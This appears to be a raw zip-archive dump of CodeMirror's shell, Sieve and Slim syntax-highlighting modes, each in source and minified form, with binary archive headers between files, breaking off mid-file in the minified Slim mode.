"sort", "sleep", "ssh", "start",
"stop",
    "su", "sudo", "svn", "tee",
"telnet", "top", "touch", "vi",
"vim", "wall", "wc", "wget",
"who", "write",
    "yes", "zsh"];

  CodeMirror.registerHelper("hintWords", "shell",
commonAtoms.concat(commonKeywords, commonCommands));

  define('atom', commonAtoms);
  define('keyword', commonKeywords);
  define('builtin', commonCommands);

  function tokenBase(stream, state) {
    if (stream.eatSpace()) return null;

    var sol = stream.sol();
    var ch = stream.next();

    if (ch === '\\') {
      stream.next();
      return null;
    }
    if (ch === '\'' || ch === '"' || ch ===
'`') {
      state.tokens.unshift(tokenString(ch, ch === "`" ?
"quote" : "string"));
      return tokenize(stream, state);
    }
    if (ch === '#') {
      if (sol && stream.eat('!')) {
        stream.skipToEnd();
        return 'meta'; // 'comment'?
      }
      stream.skipToEnd();
      return 'comment';
    }
    if (ch === '$') {
      state.tokens.unshift(tokenDollar);
      return tokenize(stream, state);
    }
    if (ch === '+' || ch === '=') {
      return 'operator';
    }
    if (ch === '-') {
      stream.eat('-');
      stream.eatWhile(/\w/);
      return 'attribute';
    }
    if (/\d/.test(ch)) {
      stream.eatWhile(/\d/);
      if(stream.eol() || !/\w/.test(stream.peek())) {
        return 'number';
      }
    }
    stream.eatWhile(/[\w-]/);
    var cur = stream.current();
    if (stream.peek() === '=' && /\w+/.test(cur)) return
'def';
    return words.hasOwnProperty(cur) ? words[cur] : null;
  }

  function tokenString(quote, style) {
    var close = quote == "(" ? ")" : quote ==
"{" ? "}" : quote
    return function(stream, state) {
      var next, escaped = false;
      while ((next = stream.next()) != null) {
        if (next === close && !escaped) {
          state.tokens.shift();
          break;
        } else if (next === '$' && !escaped &&
quote !== "'" && stream.peek() != close) {
          escaped = true;
          stream.backUp(1);
          state.tokens.unshift(tokenDollar);
          break;
        } else if (!escaped && quote !== close && next ===
quote) {
          state.tokens.unshift(tokenString(quote, style))
          return tokenize(stream, state)
        } else if (!escaped && /['"]/.test(next)
&& !/['"]/.test(quote)) {
          state.tokens.unshift(tokenStringStart(next, "string"));
          stream.backUp(1);
          break;
        }
        escaped = !escaped && next === '\\';
      }
      return style;
    };
  };

  function tokenStringStart(quote, style) {
    return function(stream, state) {
      state.tokens[0] = tokenString(quote, style)
      stream.next()
      return tokenize(stream, state)
    }
  }

  var tokenDollar = function(stream, state) {
    if (state.tokens.length > 1) stream.eat('$');
    var ch = stream.next()
    if (/['"({]/.test(ch)) {
      state.tokens[0] = tokenString(ch, ch == "(" ?
"quote" : ch == "{" ? "def" :
"string");
      return tokenize(stream, state);
    }
    if (!/\d/.test(ch)) stream.eatWhile(/\w/);
    state.tokens.shift();
    return 'def';
  };

  function tokenize(stream, state) {
    return (state.tokens[0] || tokenBase) (stream, state);
  };

  return {
    startState: function() {return {tokens:[]};},
    token: function(stream, state) {
      return tokenize(stream, state);
    },
    closeBrackets: "()[]{}''\"\"``",
    lineComment: '#',
    fold: "brace"
  };
});

CodeMirror.defineMIME('text/x-sh', 'shell');
// Apache uses a slightly different Media Type for Shell scripts
// http://svn.apache.org/repos/asf/httpd/httpd/trunk/docs/conf/mime.types
CodeMirror.defineMIME('application/x-sh', 'shell');

});
PKJ��[��&�

"codemirror/mode/shell/shell.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("shell",(function(){function
b(a,b){for(var c=0;c<b.length;c++)g[b[c]]=a}function
c(a,b){if(a.eatSpace())return null;var
c=a.sol(),e=a.next();if("\\"===e)return
a.next(),null;if("'"===e||'"'===e||"`"===e)return
b.tokens.unshift(d(e,"`"===e?"quote":"string")),f(a,b);if("#"===e)return
c&&a.eat("!")?(a.skipToEnd(),"meta"):(a.skipToEnd(),"comment");if("$"===e)return
b.tokens.unshift(k),f(a,b);if("+"===e||"="===e)return"operator";if("-"===e)return
a.eat("-"),a.eatWhile(/\w/),"attribute";if(/\d/.test(e)&&(a.eatWhile(/\d/),a.eol()||!/\w/.test(a.peek())))return"number";a.eatWhile(/[\w-]/);var
h=a.current();return"="===a.peek()&&/\w+/.test(h)?"def":g.hasOwnProperty(h)?g[h]:null}function
d(a,b){var
c="("==a?")":"{"==a?"}":a;return
function(g,h){for(var
i,j=!1;null!=(i=g.next());){if(i===c&&!j){h.tokens.shift();break}if("$"===i&&!j&&"'"!==a&&g.peek()!=c){j=!0,g.backUp(1),h.tokens.unshift(k);break}if(!j&&a!==c&&i===a)return
h.tokens.unshift(d(a,b)),f(g,h);if(!j&&/['"]/.test(i)&&!/['"]/.test(a)){h.tokens.unshift(e(i,"string")),g.backUp(1);break}j=!j&&"\\"===i}return
b}}function e(a,b){return function(c,e){return
e.tokens[0]=d(a,b),c.next(),f(c,e)}}function
f(a,b){return(b.tokens[0]||c)(a,b)}var
g={},h=["true","false"],i=["if","then","do","else","elif","while","until","for","in","esac","fi","fin","fil","done","exit","set","unset","export","function"],j=["ab","awk","bash","beep","cat","cc","cd","chown","chmod","chroot","clear","cp","curl","cut","diff","echo","find","gawk","gcc","get","git","grep","hg","kill","killall","ln","ls","make","mkdir","openssl","mv","nc","nl","node","npm","ping","ps","restart","rm","rmdir","sed","service","sh","shopt","shred","source","sort","sleep","ssh","start","stop","su","sudo","svn","tee","telnet","top","touch","vi","vim","wall","wc","wget","who","write","yes","zsh"];a.registerHelper("hintWords","shell",h.concat(i,j)),b("atom",h),b("keyword",i),b("builtin",j);var
k=function(a,b){b.tokens.length>1&&a.eat("$");var
c=a.next();return/['"({]/.test(c)?(b.tokens[0]=d(c,"("==c?"quote":"{"==c?"def":"string"),f(a,b)):(/\d/.test(c)||a.eatWhile(/\w/),b.tokens.shift(),"def")};return{startState:function(){return{tokens:[]}},token:function(a,b){return
f(a,b)},closeBrackets:"()[]{}''\"\"``",lineComment:"#",fold:"brace"}})),a.defineMIME("text/x-sh","shell"),a.defineMIME("application/x-sh","shell")}));PKJ��[�w��codemirror/mode/sieve/sieve.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("sieve", function(config) {
  function words(str) {
    var obj = {}, words = str.split(" ");
    for (var i = 0; i < words.length; ++i) obj[words[i]] = true;
    return obj;
  }

  var keywords = words("if elsif else stop require");
  var atoms = words("true false not");
  var indentUnit = config.indentUnit;

  function tokenBase(stream, state) {

    var ch = stream.next();
    if (ch == "/" && stream.eat("*")) {
      state.tokenize = tokenCComment;
      return tokenCComment(stream, state);
    }

    if (ch === '#') {
      stream.skipToEnd();
      return "comment";
    }

    if (ch == "\"") {
      state.tokenize = tokenString(ch);
      return state.tokenize(stream, state);
    }

    if (ch == "(") {
      state._indent.push("(");
      // add virtual angel wings so that editor behaves...
      // ...more sane incase of broken brackets
      state._indent.push("{");
      return null;
    }

    if (ch === "{") {
      state._indent.push("{");
      return null;
    }

    if (ch == ")")  {
      state._indent.pop();
      state._indent.pop();
    }

    if (ch === "}") {
      state._indent.pop();
      return null;
    }

    if (ch == ",")
      return null;

    if (ch == ";")
      return null;


    if (/[{}\(\),;]/.test(ch))
      return null;

    // 1*DIGIT "K" / "M" / "G"
    if (/\d/.test(ch)) {
      stream.eatWhile(/[\d]/);
      stream.eat(/[KkMmGg]/);
      return "number";
    }

    // ":" (ALPHA / "_") *(ALPHA / DIGIT /
"_")
    if (ch == ":") {
      stream.eatWhile(/[a-zA-Z_]/);
      stream.eatWhile(/[a-zA-Z0-9_]/);

      return "operator";
    }

    stream.eatWhile(/\w/);
    var cur = stream.current();

    // "text:" *(SP / HTAB) (hash-comment / CRLF)
    // *(multiline-literal / multiline-dotstart)
    // "." CRLF
    if ((cur == "text") && stream.eat(":"))
    {
      state.tokenize = tokenMultiLineString;
      return "string";
    }

    if (keywords.propertyIsEnumerable(cur))
      return "keyword";

    if (atoms.propertyIsEnumerable(cur))
      return "atom";

    return null;
  }

  function tokenMultiLineString(stream, state)
  {
    state._multiLineString = true;
    // the first line is special it may contain a comment
    if (!stream.sol()) {
      stream.eatSpace();

      if (stream.peek() == "#") {
        stream.skipToEnd();
        return "comment";
      }

      stream.skipToEnd();
      return "string";
    }

    if ((stream.next() == ".")  && (stream.eol()))
    {
      state._multiLineString = false;
      state.tokenize = tokenBase;
    }

    return "string";
  }

  function tokenCComment(stream, state) {
    var maybeEnd = false, ch;
    while ((ch = stream.next()) != null) {
      if (maybeEnd && ch == "/") {
        state.tokenize = tokenBase;
        break;
      }
      maybeEnd = (ch == "*");
    }
    return "comment";
  }

  function tokenString(quote) {
    return function(stream, state) {
      var escaped = false, ch;
      while ((ch = stream.next()) != null) {
        if (ch == quote && !escaped)
          break;
        escaped = !escaped && ch == "\\";
      }
      if (!escaped) state.tokenize = tokenBase;
      return "string";
    };
  }

  return {
    startState: function(base) {
      return {tokenize: tokenBase,
              baseIndent: base || 0,
              _indent: []};
    },

    token: function(stream, state) {
      if (stream.eatSpace())
        return null;

      return (state.tokenize || tokenBase)(stream, state);
    },

    indent: function(state, _textAfter) {
      var length = state._indent.length;
      if (_textAfter && (_textAfter[0] == "}"))
        length--;

      if (length <0)
        length = 0;

      return length * indentUnit;
    },

    electricChars: "}"
  };
});

CodeMirror.defineMIME("application/sieve", "sieve");

});
PKJ��[��cc"codemirror/mode/sieve/sieve.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("sieve",(function(a){function
b(a){for(var b={},c=a.split("
"),d=0;d<c.length;++d)b[c[d]]=!0;return b}function c(a,b){var
c=a.next();if("/"==c&&a.eat("*"))return
b.tokenize=e,e(a,b);if("#"===c)return
a.skipToEnd(),"comment";if('"'==c)return
b.tokenize=f(c),b.tokenize(a,b);if("("==c)return
b._indent.push("("),b._indent.push("{"),null;if("{"===c)return
b._indent.push("{"),null;if(")"==c&&(b._indent.pop(),b._indent.pop()),"}"===c)return
b._indent.pop(),null;if(","==c)return
null;if(";"==c)return null;if(/[{}\(\),;]/.test(c))return
null;if(/\d/.test(c))return
a.eatWhile(/[\d]/),a.eat(/[KkMmGg]/),"number";if(":"==c)return
a.eatWhile(/[a-zA-Z_]/),a.eatWhile(/[a-zA-Z0-9_]/),"operator";a.eatWhile(/\w/);var
i=a.current();return"text"==i&&a.eat(":")?(b.tokenize=d,"string"):g.propertyIsEnumerable(i)?"keyword":h.propertyIsEnumerable(i)?"atom":null}function
d(a,b){return
b._multiLineString=!0,a.sol()?("."==a.next()&&a.eol()&&(b._multiLineString=!1,b.tokenize=c),"string"):(a.eatSpace(),"#"==a.peek()?(a.skipToEnd(),"comment"):(a.skipToEnd(),"string"))}function
e(a,b){for(var
d,e=!1;null!=(d=a.next());){if(e&&"/"==d){b.tokenize=c;break}e="*"==d}return"comment"}function
f(a){return function(b,d){for(var
e,f=!1;null!=(e=b.next())&&(e!=a||f);)f=!f&&"\\"==e;return
f||(d.tokenize=c),"string"}}var g=b("if elsif else stop
require"),h=b("true false
not"),i=a.indentUnit;return{startState:function(a){return{tokenize:c,baseIndent:a||0,_indent:[]}},token:function(a,b){return
a.eatSpace()?null:(b.tokenize||c)(a,b)},indent:function(a,b){var
c=a._indent.length;return
b&&"}"==b[0]&&c--,c<0&&(c=0),c*i},electricChars:"}"}})),a.defineMIME("application/sieve","sieve")}));PKJ��[���kFkFcodemirror/mode/slim/slim.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// Slim Highlighting for CodeMirror copyright (c) HicknHack Software Gmbh

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("../htmlmixed/htmlmixed"),
require("../ruby/ruby"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror",
"../htmlmixed/htmlmixed", "../ruby/ruby"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

  CodeMirror.defineMode("slim", function(config) {
    var htmlMode = CodeMirror.getMode(config, {name:
"htmlmixed"});
    var rubyMode = CodeMirror.getMode(config, "ruby");
    var modes = { html: htmlMode, ruby: rubyMode };
    var embedded = {
      ruby: "ruby",
      javascript: "javascript",
      css: "text/css",
      sass: "text/x-sass",
      scss: "text/x-scss",
      less: "text/x-less",
      styl: "text/x-styl", // no highlighting so far
      coffee: "coffeescript",
      asciidoc: "text/x-asciidoc",
      markdown: "text/x-markdown",
      textile: "text/x-textile", // no highlighting so far
      creole: "text/x-creole", // no highlighting so far
      wiki: "text/x-wiki", // no highlighting so far
      mediawiki: "text/x-mediawiki", // no highlighting so far
      rdoc: "text/x-rdoc", // no highlighting so far
      builder: "text/x-builder", // no highlighting so far
      nokogiri: "text/x-nokogiri", // no highlighting so far
      erb: "application/x-erb"
    };
    var embeddedRegexp = function(map){
      var arr = [];
      for(var key in map) arr.push(key);
      return new
RegExp("^("+arr.join('|')+"):");
    }(embedded);

    var styleMap = {
      "commentLine": "comment",
      "slimSwitch": "operator special",
      "slimTag": "tag",
      "slimId": "attribute def",
      "slimClass": "attribute qualifier",
      "slimAttribute": "attribute",
      "slimSubmode": "keyword special",
      "closeAttributeTag": null,
      "slimDoctype": null,
      "lineContinuation": null
    };
    var closing = {
      "{": "}",
      "[": "]",
      "(": ")"
    };

    var nameStartChar =
"_a-zA-Z\xC0-\xD6\xD8-\xF6\xF8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD";
    var nameChar = nameStartChar +
"\\-0-9\xB7\u0300-\u036F\u203F-\u2040";
    var nameRegexp = new
RegExp("^[:"+nameStartChar+"](?::["+nameChar+"]|["+nameChar+"]*)");
    var attributeNameRegexp = new
RegExp("^[:"+nameStartChar+"][:\\."+nameChar+"]*(?=\\s*=)");
    var wrappedAttributeNameRegexp = new
RegExp("^[:"+nameStartChar+"][:\\."+nameChar+"]*");
    var classNameRegexp = /^\.-?[_a-zA-Z]+[\w\-]*/;
    var classIdRegexp = /^#[_a-zA-Z]+[\w\-]*/;

    function backup(pos, tokenize, style) {
      var restore = function(stream, state) {
        state.tokenize = tokenize;
        if (stream.pos < pos) {
          stream.pos = pos;
          return style;
        }
        return state.tokenize(stream, state);
      };
      return function(stream, state) {
        state.tokenize = restore;
        return tokenize(stream, state);
      };
    }

    function maybeBackup(stream, state, pat, offset, style) {
      var cur = stream.current();
      var idx = cur.search(pat);
      if (idx > -1) {
        state.tokenize = backup(stream.pos, state.tokenize, style);
        stream.backUp(cur.length - idx - offset);
      }
      return style;
    }

    function continueLine(state, column) {
      state.stack = {
        parent: state.stack,
        style: "continuation",
        indented: column,
        tokenize: state.line
      };
      state.line = state.tokenize;
    }
    function finishContinue(state) {
      if (state.line == state.tokenize) {
        state.line = state.stack.tokenize;
        state.stack = state.stack.parent;
      }
    }

    function lineContinuable(column, tokenize) {
      return function(stream, state) {
        finishContinue(state);
        if (stream.match(/^\\$/)) {
          continueLine(state, column);
          return "lineContinuation";
        }
        var style = tokenize(stream, state);
        if (stream.eol() &&
stream.current().match(/(?:^|[^\\])(?:\\\\)*\\$/)) {
          stream.backUp(1);
        }
        return style;
      };
    }
    function commaContinuable(column, tokenize) {
      return function(stream, state) {
        finishContinue(state);
        var style = tokenize(stream, state);
        if (stream.eol() && stream.current().match(/,$/)) {
          continueLine(state, column);
        }
        return style;
      };
    }

    function rubyInQuote(endQuote, tokenize) {
      // TODO: add multi line support
      return function(stream, state) {
        var ch = stream.peek();
        if (ch == endQuote && state.rubyState.tokenize.length == 1)
{
          // step out of ruby context as it seems to complete processing
all the braces
          stream.next();
          state.tokenize = tokenize;
          return "closeAttributeTag";
        } else {
          return ruby(stream, state);
        }
      };
    }
    function startRubySplat(tokenize) {
      var rubyState;
      var runSplat = function(stream, state) {
        if (state.rubyState.tokenize.length == 1 &&
!state.rubyState.context.prev) {
          stream.backUp(1);
          if (stream.eatSpace()) {
            state.rubyState = rubyState;
            state.tokenize = tokenize;
            return tokenize(stream, state);
          }
          stream.next();
        }
        return ruby(stream, state);
      };
      return function(stream, state) {
        rubyState = state.rubyState;
        state.rubyState = CodeMirror.startState(rubyMode);
        state.tokenize = runSplat;
        return ruby(stream, state);
      };
    }

    function ruby(stream, state) {
      return rubyMode.token(stream, state.rubyState);
    }

    function htmlLine(stream, state) {
      if (stream.match(/^\\$/)) {
        return "lineContinuation";
      }
      return html(stream, state);
    }
    function html(stream, state) {
      if (stream.match(/^#\{/)) {
        state.tokenize = rubyInQuote("}", state.tokenize);
        return null;
      }
      return maybeBackup(stream, state, /[^\\]#\{/, 1,
htmlMode.token(stream, state.htmlState));
    }

    function startHtmlLine(lastTokenize) {
      return function(stream, state) {
        var style = htmlLine(stream, state);
        if (stream.eol()) state.tokenize = lastTokenize;
        return style;
      };
    }

    function startHtmlMode(stream, state, offset) {
      state.stack = {
        parent: state.stack,
        style: "html",
        indented: stream.column() + offset, // pipe + space
        tokenize: state.line
      };
      state.line = state.tokenize = html;
      return null;
    }

    function comment(stream, state) {
      stream.skipToEnd();
      return state.stack.style;
    }

    function commentMode(stream, state) {
      state.stack = {
        parent: state.stack,
        style: "comment",
        indented: state.indented + 1,
        tokenize: state.line
      };
      state.line = comment;
      return comment(stream, state);
    }

    function attributeWrapper(stream, state) {
      if (stream.eat(state.stack.endQuote)) {
        state.line = state.stack.line;
        state.tokenize = state.stack.tokenize;
        state.stack = state.stack.parent;
        return null;
      }
      if (stream.match(wrappedAttributeNameRegexp)) {
        state.tokenize = attributeWrapperAssign;
        return "slimAttribute";
      }
      stream.next();
      return null;
    }
    function attributeWrapperAssign(stream, state) {
      if (stream.match(/^==?/)) {
        state.tokenize = attributeWrapperValue;
        return null;
      }
      return attributeWrapper(stream, state);
    }
    function attributeWrapperValue(stream, state) {
      var ch = stream.peek();
      if (ch == '"' || ch == "\'") {
        state.tokenize = readQuoted(ch, "string", true, false,
attributeWrapper);
        stream.next();
        return state.tokenize(stream, state);
      }
      if (ch == '[') {
        return startRubySplat(attributeWrapper)(stream, state);
      }
      if (stream.match(/^(true|false|nil)\b/)) {
        state.tokenize = attributeWrapper;
        return "keyword";
      }
      return startRubySplat(attributeWrapper)(stream, state);
    }

    function startAttributeWrapperMode(state, endQuote, tokenize) {
      state.stack = {
        parent: state.stack,
        style: "wrapper",
        indented: state.indented + 1,
        tokenize: tokenize,
        line: state.line,
        endQuote: endQuote
      };
      state.line = state.tokenize = attributeWrapper;
      return null;
    }

    function sub(stream, state) {
      if (stream.match(/^#\{/)) {
        state.tokenize = rubyInQuote("}", state.tokenize);
        return null;
      }
      var subStream = new
CodeMirror.StringStream(stream.string.slice(state.stack.indented),
stream.tabSize);
      subStream.pos = stream.pos - state.stack.indented;
      subStream.start = stream.start - state.stack.indented;
      subStream.lastColumnPos = stream.lastColumnPos -
state.stack.indented;
      subStream.lastColumnValue = stream.lastColumnValue -
state.stack.indented;
      var style = state.subMode.token(subStream, state.subState);
      stream.pos = subStream.pos + state.stack.indented;
      return style;
    }
    function firstSub(stream, state) {
      state.stack.indented = stream.column();
      state.line = state.tokenize = sub;
      return state.tokenize(stream, state);
    }

    function createMode(mode) {
      var query = embedded[mode];
      var spec = CodeMirror.mimeModes[query];
      if (spec) {
        return CodeMirror.getMode(config, spec);
      }
      var factory = CodeMirror.modes[query];
      if (factory) {
        return factory(config, {name: query});
      }
      return CodeMirror.getMode(config, "null");
    }

    function getMode(mode) {
      if (!modes.hasOwnProperty(mode)) {
        return modes[mode] = createMode(mode);
      }
      return modes[mode];
    }

    function startSubMode(mode, state) {
      var subMode = getMode(mode);
      var subState = CodeMirror.startState(subMode);

      state.subMode = subMode;
      state.subState = subState;

      state.stack = {
        parent: state.stack,
        style: "sub",
        indented: state.indented + 1,
        tokenize: state.line
      };
      state.line = state.tokenize = firstSub;
      return "slimSubmode";
    }

    function doctypeLine(stream, _state) {
      stream.skipToEnd();
      return "slimDoctype";
    }

    function startLine(stream, state) {
      var ch = stream.peek();
      if (ch == '<') {
        return (state.tokenize = startHtmlLine(state.tokenize))(stream,
state);
      }
      if (stream.match(/^[|']/)) {
        return startHtmlMode(stream, state, 1);
      }
      if (stream.match(/^\/(!|\[\w+])?/)) {
        return commentMode(stream, state);
      }
      if (stream.match(/^(-|==?[<>]?)/)) {
        state.tokenize = lineContinuable(stream.column(),
commaContinuable(stream.column(), ruby));
        return "slimSwitch";
      }
      if (stream.match(/^doctype\b/)) {
        state.tokenize = doctypeLine;
        return "keyword";
      }

      var m = stream.match(embeddedRegexp);
      if (m) {
        return startSubMode(m[1], state);
      }

      return slimTag(stream, state);
    }

    function slim(stream, state) {
      if (state.startOfLine) {
        return startLine(stream, state);
      }
      return slimTag(stream, state);
    }

    function slimTag(stream, state) {
      if (stream.eat('*')) {
        state.tokenize = startRubySplat(slimTagExtras);
        return null;
      }
      if (stream.match(nameRegexp)) {
        state.tokenize = slimTagExtras;
        return "slimTag";
      }
      return slimClass(stream, state);
    }
    function slimTagExtras(stream, state) {
      if (stream.match(/^(<>?|><?)/)) {
        state.tokenize = slimClass;
        return null;
      }
      return slimClass(stream, state);
    }
    function slimClass(stream, state) {
      if (stream.match(classIdRegexp)) {
        state.tokenize = slimClass;
        return "slimId";
      }
      if (stream.match(classNameRegexp)) {
        state.tokenize = slimClass;
        return "slimClass";
      }
      return slimAttribute(stream, state);
    }
    function slimAttribute(stream, state) {
      if (stream.match(/^([\[\{\(])/)) {
        return startAttributeWrapperMode(state, closing[RegExp.$1],
slimAttribute);
      }
      if (stream.match(attributeNameRegexp)) {
        state.tokenize = slimAttributeAssign;
        return "slimAttribute";
      }
      if (stream.peek() == '*') {
        stream.next();
        state.tokenize = startRubySplat(slimContent);
        return null;
      }
      return slimContent(stream, state);
    }
    function slimAttributeAssign(stream, state) {
      if (stream.match(/^==?/)) {
        state.tokenize = slimAttributeValue;
        return null;
      }
      // should never happen, because of forward lookup
      return slimAttribute(stream, state);
    }

    function slimAttributeValue(stream, state) {
      var ch = stream.peek();
      if (ch == '"' || ch == "\'") {
        state.tokenize = readQuoted(ch, "string", true, false,
slimAttribute);
        stream.next();
        return state.tokenize(stream, state);
      }
      if (ch == '[') {
        return startRubySplat(slimAttribute)(stream, state);
      }
      if (ch == ':') {
        return startRubySplat(slimAttributeSymbols)(stream, state);
      }
      if (stream.match(/^(true|false|nil)\b/)) {
        state.tokenize = slimAttribute;
        return "keyword";
      }
      return startRubySplat(slimAttribute)(stream, state);
    }
    function slimAttributeSymbols(stream, state) {
      stream.backUp(1);
      if (stream.match(/^[^\s],(?=:)/)) {
        state.tokenize = startRubySplat(slimAttributeSymbols);
        return null;
      }
      stream.next();
      return slimAttribute(stream, state);
    }
    function readQuoted(quote, style, embed, unescaped, nextTokenize) {
      return function(stream, state) {
        finishContinue(state);
        var fresh = stream.current().length == 0;
        if (stream.match(/^\\$/, fresh)) {
          if (!fresh) return style;
          continueLine(state, state.indented);
          return "lineContinuation";
        }
        if (stream.match(/^#\{/, fresh)) {
          if (!fresh) return style;
          state.tokenize = rubyInQuote("}", state.tokenize);
          return null;
        }
        var escaped = false, ch;
        while ((ch = stream.next()) != null) {
          if (ch == quote && (unescaped || !escaped)) {
            state.tokenize = nextTokenize;
            break;
          }
          if (embed && ch == "#" && !escaped) {
            if (stream.eat("{")) {
              stream.backUp(2);
              break;
            }
          }
          escaped = !escaped && ch == "\\";
        }
        if (stream.eol() && escaped) {
          stream.backUp(1);
        }
        return style;
      };
    }
    function slimContent(stream, state) {
      if (stream.match(/^==?/)) {
        state.tokenize = ruby;
        return "slimSwitch";
      }
      if (stream.match(/^\/$/)) { // tag close hint
        state.tokenize = slim;
        return null;
      }
      if (stream.match(/^:/)) { // inline tag
        state.tokenize = slimTag;
        return "slimSwitch";
      }
      startHtmlMode(stream, state, 0);
      return state.tokenize(stream, state);
    }

    var mode = {
      // default to html mode
      startState: function() {
        var htmlState = CodeMirror.startState(htmlMode);
        var rubyState = CodeMirror.startState(rubyMode);
        return {
          htmlState: htmlState,
          rubyState: rubyState,
          stack: null,
          last: null,
          tokenize: slim,
          line: slim,
          indented: 0
        };
      },

      copyState: function(state) {
        return {
          htmlState : CodeMirror.copyState(htmlMode, state.htmlState),
          rubyState: CodeMirror.copyState(rubyMode, state.rubyState),
          subMode: state.subMode,
          subState: state.subMode &&
CodeMirror.copyState(state.subMode, state.subState),
          stack: state.stack,
          last: state.last,
          tokenize: state.tokenize,
          line: state.line
        };
      },

      token: function(stream, state) {
        if (stream.sol()) {
          state.indented = stream.indentation();
          state.startOfLine = true;
          state.tokenize = state.line;
          while (state.stack && state.stack.indented >
state.indented && state.last != "slimSubmode") {
            state.line = state.tokenize = state.stack.tokenize;
            state.stack = state.stack.parent;
            state.subMode = null;
            state.subState = null;
          }
        }
        if (stream.eatSpace()) return null;
        var style = state.tokenize(stream, state);
        state.startOfLine = false;
        if (style) state.last = style;
        return styleMap.hasOwnProperty(style) ? styleMap[style] : style;
      },

      blankLine: function(state) {
        if (state.subMode && state.subMode.blankLine) {
          return state.subMode.blankLine(state.subState);
        }
      },

      innerMode: function(state) {
        if (state.subMode) return {state: state.subState, mode:
state.subMode};
        return {state: state, mode: mode};
      }

      //indent: function(state) {
      //  return state.indented;
      //}
    };
    return mode;
  }, "htmlmixed", "ruby");

  CodeMirror.defineMIME("text/x-slim", "slim");
  CodeMirror.defineMIME("application/x-slim", "slim");
});
PKJ��[�f�hh
codemirror/mode/slim/slim.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../htmlmixed/htmlmixed"),require("../ruby/ruby")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../htmlmixed/htmlmixed","../ruby/ruby"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("slim",(function(b){function
c(a,b,c){var d=function(d,e){return
e.tokenize=b,d.pos<a?(d.pos=a,c):e.tokenize(d,e)};return
function(a,c){return c.tokenize=d,b(a,c)}}function d(a,b,d,e,f){var
g=a.current(),h=g.search(d);return
h>-1&&(b.tokenize=c(a.pos,b.tokenize,f),a.backUp(g.length-h-e)),f}function
e(a,b){a.stack={parent:a.stack,style:"continuation",indented:b,tokenize:a.line},a.line=a.tokenize}function
f(a){a.line==a.tokenize&&(a.line=a.stack.tokenize,a.stack=a.stack.parent)}function
g(a,b){return function(c,d){if(f(d),c.match(/^\\$/))return
e(d,a),"lineContinuation";var g=b(c,d);return
c.eol()&&c.current().match(/(?:^|[^\\])(?:\\\\)*\\$/)&&c.backUp(1),g}}function
h(a,b){return function(c,d){f(d);var g=b(c,d);return
c.eol()&&c.current().match(/,$/)&&e(d,a),g}}function
i(a,b){return function(c,d){return
c.peek()==a&&1==d.rubyState.tokenize.length?(c.next(),d.tokenize=b,"closeAttributeTag"):k(c,d)}}function
j(b){var
c,d=function(a,d){if(1==d.rubyState.tokenize.length&&!d.rubyState.context.prev){if(a.backUp(1),a.eatSpace())return
d.rubyState=c,d.tokenize=b,b(a,d);a.next()}return k(a,d)};return
function(b,e){return
c=e.rubyState,e.rubyState=a.startState(N),e.tokenize=d,k(b,e)}}function
k(a,b){return N.token(a,b.rubyState)}function l(a,b){return
a.match(/^\\$/)?"lineContinuation":m(a,b)}function m(a,b){return
a.match(/^#\{/)?(b.tokenize=i("}",b.tokenize),null):d(a,b,/[^\\]#\{/,1,M.token(a,b.htmlState))}function
n(a){return function(b,c){var d=l(b,c);return
b.eol()&&(c.tokenize=a),d}}function o(a,b,c){return
b.stack={parent:b.stack,style:"html",indented:a.column()+c,tokenize:b.line},b.line=b.tokenize=m,null}function
p(a,b){return a.skipToEnd(),b.stack.style}function q(a,b){return
b.stack={parent:b.stack,style:"comment",indented:b.indented+1,tokenize:b.line},b.line=p,p(a,b)}function
r(a,b){return
a.eat(b.stack.endQuote)?(b.line=b.stack.line,b.tokenize=b.stack.tokenize,b.stack=b.stack.parent,null):a.match(X)?(b.tokenize=s,"slimAttribute"):(a.next(),null)}function
s(a,b){return a.match(/^==?/)?(b.tokenize=t,null):r(a,b)}function
t(a,b){var
c=a.peek();return'"'==c||"'"==c?(b.tokenize=K(c,"string",!0,!1,r),a.next(),b.tokenize(a,b)):"["==c?j(r)(a,b):a.match(/^(true|false|nil)\b/)?(b.tokenize=r,"keyword"):j(r)(a,b)}function
u(a,b,c){return
a.stack={parent:a.stack,style:"wrapper",indented:a.indented+1,tokenize:c,line:a.line,endQuote:b},a.line=a.tokenize=r,null}function
v(b,c){if(b.match(/^#\{/))return
c.tokenize=i("}",c.tokenize),null;var d=new
a.StringStream(b.string.slice(c.stack.indented),b.tabSize);d.pos=b.pos-c.stack.indented,d.start=b.start-c.stack.indented,d.lastColumnPos=b.lastColumnPos-c.stack.indented,d.lastColumnValue=b.lastColumnValue-c.stack.indented;var
e=c.subMode.token(d,c.subState);return
b.pos=d.pos+c.stack.indented,e}function w(a,b){return
b.stack.indented=a.column(),b.line=b.tokenize=v,b.tokenize(a,b)}function
x(c){var d=P[c],e=a.mimeModes[d];if(e)return a.getMode(b,e);var
f=a.modes[d];return f?f(b,{name:d}):a.getMode(b,"null")}function
